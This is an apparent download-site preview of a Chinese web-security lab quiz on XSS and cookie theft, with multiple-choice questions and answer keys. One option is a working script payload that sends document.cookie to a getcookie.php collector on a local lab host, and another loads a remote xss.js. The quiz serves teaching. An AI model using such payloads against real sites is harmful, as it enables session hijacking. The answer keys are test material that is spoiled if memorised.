Web应用安全：XSS盗取cookiepayload（实验习题）.docx
版权申诉
93 浏览量
2022-06-17
08:51:59
上传
评论
收藏 20KB DOCX 举报
题 目
一、单选题
1. 以下哪一项属于 Cookie 的作用（）
A: 可以通过 cookie 看出账户的账号口令。
B: 可以通过 cookie 登录该用户的所有网站。
C: 可以通过 cookie 登录用户与 cookie 唯一的网站。
D: 可以通过 cookie 获取黑客在用户客户机的权限。
参考答案：C
2. 一下哪一个不属于 XSS 攻击脚本
A:<script>document.location='http://127.0.0.1/pikachu/getcookie.php?
x='+document.cookie;</script>
B: <script>alert('hack')</script>
C: <IMG SRC=http://3w.org/XSS/xss.js/>
D:select * from dvwa
参考答案：D
3. 以下哪一个时获取用户 cookie 的函数（）
A: document.cookie
B: get.cookie
C: hold.cookie
资源评论
知识世界
- 粉丝: 354
- 资源: 1万+
最新资源
- MyBatis动态SQL是一种强大的特性，它允许我们在SQL语句中根据条件动态地添加或删除某些部分，从而实现更加灵活和高效的数据
- MyBatis动态SQL是一种强大的特性，它允许我们在SQL语句中根据条件动态地添加或删除某些部分，从而实现更加灵活和高效的数据
- MyBatis动态SQL是一种强大的特性，它允许我们在SQL语句中根据条件动态地添加或删除某些部分，从而实现更加灵活和高效的数据
- MyBatis动态SQL是一种强大的特性，它允许我们在SQL语句中根据条件动态地添加或删除某些部分，从而实现更加灵活和高效的数据
- 文件批量改名神器10.0一款简单易用的批量文件重命名工具（已注册PRO版本）.rar
- MyBatis动态SQL是一种强大的特性，它允许我们在SQL语句中根据条件动态地添加或删除某些部分，从而实现更加灵活和高效的数据
- MyBatis动态SQL是一种强大的特性，它允许我们在SQL语句中根据条件动态地添加或删除某些部分，从而实现更加灵活和高效的数据
- MyBatis动态SQL是一种强大的特性，它允许我们在SQL语句中根据条件动态地添加或删除某些部分，从而实现更加灵活和高效的数据
- MyBatis动态SQL是一种强大的特性，它允许我们在SQL语句中根据条件动态地添加或删除某些部分，从而实现更加灵活和高效的数据
- MyBatis动态SQL是一种强大的特性，它允许我们在SQL语句中根据条件动态地添加或删除某些部分，从而实现更加灵活和高效的数据
资源上传下载、课程学习等过程中有任何疑问或建议，欢迎提出宝贵意见哦~我们会及时处理！
点击此处反馈
